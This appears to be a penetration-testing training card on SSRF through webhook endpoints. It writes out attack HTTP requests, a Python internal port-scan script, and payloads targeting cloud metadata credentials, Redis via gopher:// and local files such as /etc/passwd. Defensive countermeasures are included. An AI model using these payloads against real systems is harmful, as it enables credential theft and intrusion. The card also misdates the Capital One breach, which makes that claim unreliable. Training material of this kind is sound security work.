SSRF via webhook
Theory
Why This Matters
Server-Side Request Forgery via webhook endpoints is among the most impactful SSRF vectors in cloud-hosted applications because webhook registration is a legitimate, user-facing feature. In 2019, a researcher demonstrated that a popular project management SaaS platform's webhook feature would fetch any URL supplied by the user — including http://169.254.169.254/latest/meta-data/ — and return the cloud instance metadata directly in the webhook test response. In 2021, Capital One's breach (data affecting 100 million customers) involved SSRF against the AWS IMDS as a component of the attack chain. OWASP lists SSRF as A10:2021 — its first appearance on the OWASP Top 10 — explicitly noting cloud metadata endpoints and internal service enumeration as primary attack targets.
Core Concept
A webhook is a user-configured URL to which the server sends HTTP POST requests when specific events occur. The server-side component responsible for sending webhook notifications makes outbound HTTP requests on behalf of the user. When the webhook URL is not validated against an allowlist, the server becomes a proxy for the attacker — it will connect to any address the attacker specifies, including internal network addresses, localhost services, and cloud metadata endpoints.
The violated invariant is that the server-side HTTP client must never connect to addresses derived from untrusted user input without strict validation. The attacker precondition is simply the ability to register or modify a webhook URL in the application.
Blind SSRF describes the scenario where the server makes the request but does not return the response body to the attacker. Detection relies on out-of-band signals: timing differences, DNS lookups, or HTTP callbacks to an attacker-controlled server (Burp Collaborator or interactsh). Non-blind SSRF returns the fetched response body in the application's webhook test endpoint response — a more directly exploitable form that enables direct data exfiltration.
High-value internal targets in cloud environments include:
http://169.254.169.254/latest/meta-data/— AWS IMDS (Instance Metadata Service): returns IAM role credentials, instance ID, and account informationhttp://169.254.169.254/computeMetadata/v1/(withMetadata-Flavor: Googleheader) — GCP metadatahttp://169.254.169.254/metadata/instance— Azure IMDShttp://localhost:6379/— Redis on default port (no auth)http://internal-api/admin— internal admin APIs not exposed externallyhttp://127.0.0.1:2375/— Docker daemon API (unauthenticated)
The gopher:// protocol is a SSRF escalation primitive: by constructing a gopher:// URL, an attacker can send arbitrary raw TCP data to internal services such as Redis, Memcached, or SMTP, enabling more powerful attacks than HTTP-only SSRF. Some HTTP clients (curl in PHP, Java's URL class in older versions) support gopher.
Technical Deep-Dive
-- Step 1: Register a webhook pointing to Burp Collaborator (blind SSRF detection)
POST /api/webhooks HTTP/1.1
Host: saas-victim.com
Content-Type: application/json
Authorization: Bearer <attacker_token>
{
"event": "order.created",
"url": "http://COLLABORATOR_SUBDOMAIN.oastify.com/ssrf-test"
}
-- Monitor Burp Collaborator panel; a DNS lookup + HTTP request confirms SSRF
-- Step 2: Test for non-blind SSRF via webhook "test" endpoint
POST /api/webhooks/42/test HTTP/1.1
Host: saas-victim.com
Authorization: Bearer <attacker_token>
-- Application fetches the configured webhook URL and returns the response
-- If URL = http://169.254.169.254/latest/meta-data/:
HTTP/1.1 200 OK
{
"webhook_response": "ami-id
ami-launch-index
hostname
iam
instance-id
..."
}
-- Server returned the IMDS response body: SSRF confirmed + data exfiltrated
-- Step 3: Probe internal Redis via HTTP after confirming SSRF
-- Update webhook URL to internal Redis port:
PUT /api/webhooks/42 HTTP/1.1
Host: saas-victim.com
Content-Type: application/json
Authorization: Bearer <attacker_token>
{"url": "http://127.0.0.1:6379/"}
-- Redis responds with: -ERR wrong number of arguments for 'get' command
-- or a binary banner — confirms Redis is running on localhost:6379
# Internal port scan via SSRF webhook — measure response time per port
# Fast response (connection refused quickly) vs slow response (timeout = filtered)
# or immediate response with data = open port
import requests, time
TARGET_HOST = "127.0.0.1"
COMMON_PORTS = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]
for port in COMMON_PORTS:
# Update webhook URL to target port
requests.put(
"https://saas-victim.com/api/webhooks/42",
json={"url": f"http://{TARGET_HOST}:{port}/"},
headers={"Authorization": "Bearer <attacker_token>"}
)
start = time.time()
r = requests.post(
"https://saas-victim.com/api/webhooks/42/test",
headers={"Authorization": "Bearer <attacker_token>"}
)
elapsed = time.time() - start
print(f"Port {port}: status={r.status_code} time={elapsed:.2f}s body_len={len(r.text)}")
# Long elapsed + non-empty body = likely open; instant empty = closed/filtered
Security Assessment Methodology
- Locate webhook registration endpoints — Search for features labelled "webhooks", "callbacks", "notifications", "integrations", "event subscriptions", or "outbound HTTP". These are the primary SSRF entry points.
- Test for blind SSRF with Burp Collaborator — Register a webhook URL pointing to a Collaborator subdomain. Trigger a test event. Monitor Collaborator for DNS and HTTP interactions confirming the server makes outbound requests.
- Attempt AWS IMDS — Set the webhook URL to
http://169.254.169.254/latest/meta-data/andhttp://169.254.169.254/latest/meta-data/iam/security-credentials/. Trigger the webhook test and check whether the response includes metadata content. - Probe internal services — Enumerate common internal ports (22, 80, 443, 3306, 5432, 6379, 8080, 9200) by updating the webhook URL to
http://127.0.0.1:<port>/and measuring response time and content. - Test gopher:// protocol — Attempt
gopher://127.0.0.1:6379/_PINGto send a Redis command. Support for gopher enables raw TCP communication with internal services. - Test file:// protocol — Attempt
file:///etc/passwdandfile:///proc/self/environto check whether the server's HTTP client follows file-scheme URLs. - Document impact scope — Report which internal endpoints are reachable, whether metadata service credentials were accessible, and the full exploitation chain.
Defensive Countermeasure — Validate all user-supplied URLs against an explicit allowlist of permitted domains and protocols before initiating any server-side HTTP request. Deny all requests to
169.254.0.0/16(link-local),10.0.0.0/8,172.16.0.0/12,192.168.0.0/16, and127.0.0.0/8(loopback) at the network or application layer. Disable support for non-HTTP schemes (gopher, file, dict) in the HTTP client. On AWS, enforce IMDSv2 (which requires a PUT to obtain the session token before GET requests succeed) as a defence-in-depth measure — IMDSv2 cannot be bypassed by a basic SSRF HTTP GET request.
Common Assessment Errors
- Only testing localhost — Internal cloud metadata addresses (
169.254.169.254) are distinct from localhost and are on a separate subnet; a filter blocking127.0.0.1may not block the IMDS address. - Missing blind SSRF — If the webhook test endpoint does not return the fetched response body, testers conclude no SSRF exists. Always deploy Burp Collaborator to detect DNS and HTTP callbacks independently.
- Not testing gopher:// — HTTP-only SSRF filters often miss gopher; the gopher protocol enables Redis and Memcached command injection that HTTP cannot.
- Stopping at metadata enumeration — AWS IMDS at
/latest/meta-data/iam/security-credentials/<role>returns temporary AWS credentials; always enumerate this full path to demonstrate the maximum credential-theft impact. - Ignoring response timing — Closed ports return connection refused quickly; open ports with no HTTP service may time out. Use timing differences to distinguish open from closed ports even without response body content.
- Not testing all URL fields — Webhook URL is the obvious vector, but avatar fetch URLs, PDF generation source URLs, import-from-URL fields, and third-party integration callback URLs are equally exploitable SSRF entry points.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Develops understanding of SSRF via webhook as a server-proxied request injection class with internal network impact |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers AWS IMDS exploitation, internal service probing, and gopher protocol escalation |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains blind SSRF detection with Burp Collaborator and internal port scanning via timing analysis |
| S0044 | Skill in mimicking threat behaviors | Builds adversarial skill in cloud credential exfiltration via IMDS SSRF |
| T0028 | Task: Identify systemic security issues based on vulnerability and configuration data | Develops ability to recognise webhook URL fields as a systemic SSRF risk across all outbound HTTP features |
| T0591 | Perform penetration testing | Provides complete webhook SSRF methodology from detection through internal network enumeration |
Further Reading
- SSRF Bible — Cheatsheet — Wallarm Security Research
- OWASP Server-Side Request Forgery Prevention Cheat Sheet — OWASP Foundation
- Hacking the Cloud: IMDS SSRF — AWS Security Blog and HackTricks
- Exploiting SSRF in AWS Cloud Environments — Bishop Fox Research
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.